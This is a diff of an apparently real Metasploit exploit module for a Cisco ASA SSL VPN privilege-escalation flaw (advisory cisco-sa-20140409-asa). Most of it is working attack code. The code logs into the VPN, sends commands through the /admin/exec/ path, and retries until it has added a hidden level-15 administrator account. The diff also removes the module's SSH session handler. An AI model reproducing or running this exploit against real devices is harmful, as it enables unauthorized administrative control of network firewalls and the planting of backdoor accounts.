@@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
+ include Msf ::Auxiliary ::CommandShell
12
13
13
14
attr_accessor :ssh_socket
14
15
@@ -32,22 +33,27 @@ def initialize(info = {})
32
33
[ 'URL' , 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ] ,
33
34
[ 'URL' , 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
34
35
] ,
35
- 'Privileged' => false ,
36
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
37
+ 'DefaultOptions' =>
38
+ {
39
+ 'ExitFunction' => "none"
40
+ } ,
36
41
'Payload' =>
37
42
{
38
- 'DisableNops' => true ,
39
- 'Space' => 1024 ,
40
- 'Compat' =>
41
- {
42
- 'PayloadType' => 'ssh' ,
43
- 'ConnectionType' => 'ssh' ,
44
- }
43
+ 'Compat' => {
44
+ 'PayloadType' => 'cmd_interact' ,
45
+ 'ConnectionType' => 'find'
46
+ }
45
47
} ,
46
- 'Platform' => [ 'ssh' ] ,
47
- 'Arch' => ARCH_SSH ,
48
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
49
- 'DefaultTarget' => 0 ,
50
- 'DisclosureDate' => 'Sep 18 2013'
48
+ 'Platform' => 'unix' ,
49
+ 'Arch' => ARCH_CMD ,
50
+ 'Targets' =>
51
+ [
52
+ [ 'Cisco ASA' , { } ] ,
53
+ ] ,
54
+ 'Privileged' => true ,
55
+ 'DisclosureDate' => "April 9, 2014" ,
56
+
51
57
) )
52
58
53
59
register_options (
@@ -57,7 +63,9 @@ def initialize(info = {})
57
63
OptString . new ( 'USERNAME' , [ true , "A specific username to authenticate as" , 'clientless' ] ) ,
58
64
OptString . new ( 'PASSWORD' , [ true , "A specific password to authenticate with" , 'clientless' ] ) ,
59
65
OptString . new ( 'GROUP' , [ true , "A specific VPN group to use" , 'clientless' ] )
60
- ] , self . class )
66
+ ] , self . class
67
+ )
68
+
61
69
end
62
70
63
71
# Verify whether the connection is working or not
@@ -118,11 +126,11 @@ def do_logout(cookie)
118
126
def run_command ( cmd , cookie )
119
127
reformatted_cmd = cmd . split ( " " ) . join ( "+" )
120
128
121
- res = send_request_cgi ( {
122
- 'uri' => "/admin/exec/#{ reformatted_cmd } " ,
123
- 'method' => 'GET' ,
124
- 'cookie' => cookie
125
- } )
129
+ res = send_request_cgi (
130
+ 'uri' => "/admin/exec/#{ reformatted_cmd } " ,
131
+ 'method' => 'GET' ,
132
+ 'cookie' => cookie
133
+ )
126
134
127
135
if res
128
136
return res
@@ -181,7 +189,8 @@ def add_user(cookie, tries = 10)
181
189
resp = run_command ( command , cookie )
182
190
183
191
if resp &&
184
- !resp . body . include? ( 'Command authorization failed' )
192
+ !resp . body . include? ( 'Command authorization failed' ) &&
193
+ !resp . body . include? ( 'Command failed' )
185
194
print_good ( "#{ peer } - Privilege Escalation Appeared Successful" )
186
195
return [ username , password ]
187
196
else
@@ -205,33 +214,6 @@ def random_username(length = 8)
205
214
( 0 ...length ) . map { char_array [ rand ( char_array . length ) ] } . join
206
215
end
207
216
208
- def ssh_login ( ip , user , pass )
209
- opt_hash = {
210
- :auth_methods => [ 'password' , 'keyboard-interactive' ] ,
211
- :msframework => framework ,
212
- :msfmodule => self ,
213
- :port => 22 ,
214
- :disable_agent => true ,
215
- :config => false ,
216
- :password => pass
217
- }
218
-
219
- begin
220
- session = Net ::SSH . start ( ip , user , opt_hash )
221
- return session
222
- rescue Rex ::ConnectionError , Rex ::AddressInUse
223
- fail_with ( Failure ::Unreachable , 'Disconnected during negotiation' )
224
- rescue Net ::SSH ::Disconnect , ::EOFError
225
- fail_with ( Failure ::Disconnected , 'Timed out during negotiation' )
226
- rescue Net ::SSH ::AuthenticationFailed
227
- fail_with ( Failure ::NoAccess , 'Failed authentication' )
228
- rescue Net ::SSH ::Exception => e
229
- fail_with ( Failure ::Unknown , "SSH Error: #{ e . class } : #{ e . message } " )
230
- end
231
-
232
- return nil
233
- end
234
-
235
217
def do_login ( user , pass , group )
236
218
begin
237
219
cookie = "webvpn=; " +
@@ -283,11 +265,11 @@ def exploit
283
265
# Validate we're dealing with Cisco SSL VPN
284
266
validate_cisco_ssl_vpn ( )
285
267
286
- ssh = nil
287
- creds = nil
288
-
289
- 5 . times do |i |
290
- vprint_status ( "#{ peer } - *** Exploit Session Attempt #{ ( i + 1 ) . to_s } *** " )
268
+ # This is crude, but I've found this to be somewhat
269
+ # interimittent based on session, so we'll just try
270
+ # 10 times.
271
+ 10 . times do |i |
272
+ print_good ( "#{ peer } - Exploit Attempt ##{ i } " )
291
273
292
274
# Authenticate to SSL VPN and get session cookie
293
275
cookie = do_login (
@@ -296,27 +278,29 @@ def exploit
296
278
datastore [ 'GROUP' ]
297
279
)
298
280
299
-
281
+ # Grab version
300
282
version = do_show_version ( cookie , 1 )
301
- unless version
283
+
284
+ if version_match = version . match ( /Cisco Adaptive Security Appliance Software Version ([\d +\. \( \) ]+)/ )
285
+ print_good ( "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } " )
286
+ else
302
287
do_logout ( cookie )
288
+ print_good ( "#{ peer } - Show version failed" )
303
289
next
304
290
end
305
291
292
+ # Attempt to add an admin user
306
293
creds = add_user ( cookie , 1 )
307
294
308
- # Logout of our SSL VPN session
309
295
do_logout ( cookie )
310
296
311
- break if creds
312
- end
313
-
314
- username , password = creds
315
-
316
- if ssh = ssh_login ( datastore [ 'RHOST' ] , username , password )
317
- handler ( ssh )
297
+ if creds
298
+ print_good ( "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } " )
299
+ break
300
+ else
301
+ print_good ( "#{ peer } - Failed to created user account" )
302
+ end
318
303
end
319
-
320
304
end
321
305
322
306
end
0 commit comments